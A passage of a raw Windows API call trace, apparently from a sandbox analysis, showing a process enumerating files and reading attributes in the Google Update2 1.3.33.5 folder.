ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 1 [0219.704] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 0 [0219.705] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0219.706] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe")) returned 0x120 [0219.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0219.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0219.707] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe")) returned 0x120 [0219.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0219.708] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe")) returned 0x120 [0219.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0219.708] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe")) returned 0x120 [0219.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0219.710] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe")) returned 0x120 [0219.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0219.710] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881240, Size=0x20) returned 0x3734070 [0219.710] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe")) returned 0x120 [0219.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0219.711] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi")) returned 0x120 [0219.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0219.712] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe")) returned 0x120 [0219.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0219.716] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe")) returned 0x20 [0219.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0219.716] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3734070, Size=0x40) returned 0x3887968 [0219.716] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe")) returned 0x120 [0219.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0219.716] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdate.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdate.dll")) returned 0x120 [0219.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0219.717] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_am.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_am.dll")) returned 0x120 [0219.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0219.718] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ar.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ar.dll")) returned 0x120 [0219.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0219.718] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bg.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_bg.dll")) returned 0x120 [0219.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0219.718] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_bn.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_bn.dll")) returned 0x120 [0219.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0219.744] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ca.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ca.dll")) returned 0x120 [0219.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0219.745] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_cs.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_cs.dll")) returned 0x120 [0219.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0219.745] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887968, Size=0x64) returned 0x2a19578 [0219.745] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_da.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_da.dll")) returned 0x120 [0219.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0219.746] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_de.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_de.dll")) returned 0x120 [0219.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0219.746] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_el.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_el.dll")) returned 0x120 [0219.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0219.747] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en-GB.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_en-gb.dll")) returned 0x120 [0219.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0219.749] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_en.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_en.dll")) returned 0x120 [0219.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0219.749] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es-419.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_es-419.dll")) returned 0x120 [0219.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0219.750] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_es.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_es.dll")) returned 0x120 [0219.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0219.750] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_et.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_et.dll")) returned 0x120 [0219.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0219.751] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fa.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_fa.dll")) returned 0x120 [0219.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0219.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0f98 [0219.751] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fi.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_fi.dll")) returned 0x120 [0219.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0219.752] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fil.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_fil.dll")) returned 0x120 [0219.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0219.753] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_fr.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_fr.dll")) returned 0x120 [0219.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0219.753] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_gu.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_gu.dll")) returned 0x120 [0219.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0219.753] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hi.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_hi.dll")) returned 0x120 [0219.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0219.754] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hr.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_hr.dll")) returned 0x120 [0219.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0219.755] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_hu.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_hu.dll")) returned 0x120 [0219.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0219.755] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_id.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_id.dll")) returned 0x120 [0219.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0219.755] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_is.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_is.dll")) returned 0x120 [0219.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0219.756] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_it.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_it.dll")) returned 0x120 [0219.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0219.756] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f98, Size=0xb8) returned 0x325ee70 [0219.757] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_iw.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_iw.dll")) returned 0x120 [0219.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0219.757] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ja.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ja.dll")) returned 0x120 [0219.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0219.758] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_kn.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_kn.dll")) returned 0x120 [0219.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0219.758] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ko.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ko.dll")) returned 0x120 [0219.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0219.759] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lt.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_lt.dll")) returned 0x120 [0219.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0219.759] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_lv.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_lv.dll")) returned 0x120 [0219.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0219.760] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ml.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ml.dll")) returned 0x120 [0219.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0219.760] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_mr.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_mr.dll")) returned 0x120 [0219.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0219.761] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ms.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ms.dll")) returned 0x120 [0219.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0219.761] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_nl.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_nl.dll")) returned 0x120 [0219.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0219.762] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_no.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_no.dll")) returned 0x120 [0219.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0219.762] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ee70, Size=0xe8) returned 0x33d0de0 [0219.762] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pl.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_pl.dll")) returned 0x120 [0219.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0219.763] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-BR.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_pt-br.dll")) returned 0x120 [0219.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0219.764] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_pt-PT.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_pt-pt.dll")) returned 0x120 [0219.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0219.764] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ro.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ro.dll")) returned 0x120 [0219.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0219.764] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ru.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ru.dll")) returned 0x120 [0219.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0219.765] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sk.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_sk.dll")) returned 0x120 [0219.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0219.766] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sl.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_sl.dll")) returned 0x120 [0219.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0219.766] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sr.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_sr.dll")) returned 0x120 [0219.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0219.767] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sv.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_sv.dll")) returned 0x120 [0219.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0219.767] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_sw.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_sw.dll")) returned 0x120 [0219.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0219.768] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ta.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ta.dll")) returned 0x120 [0219.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0219.768] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_te.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_te.dll")) returned 0x120 [0219.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0219.769] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0de0, Size=0x120) returned 0x2c374c0 [0219.769] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_th.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_th.dll")) returned 0x120 [0219.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0219.770] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_tr.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_tr.dll")) returned 0x120 [0219.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0219.770] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_uk.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_uk.dll")) returned 0x120 [0219.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0219.771] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_ur.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_ur.dll")) returned 0x120 [0219.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0219.771] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_vi.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_vi.dll")) returned 0x120 [0219.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0219.772] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-CN.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_zh-cn.dll")) returned 0x120 [0219.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0219.772] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\goopdateres_zh-TW.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\goopdateres_zh-tw.dll")) returned 0x120 [0219.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0219.772] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\npGoogleUpdate3.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\npgoogleupdate3.dll")) returned 0x120 [0219.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0219.773] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\psmachine.dll")) returned 0x120 [0219.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0219.773] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psmachine_64.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\psmachine_64.dll")) returned 0x120 [0219.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0219.773] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\psuser.dll")) returned 0x120 [0219.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0219.774] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\psuser_64.dll" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\psuser_64.dll")) returned 0x120 [0219.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0219.774] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe", lpFilePart=0x9bada4*="GoogleCrashHandler.exe") returned 0x45 [0219.774] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x120, 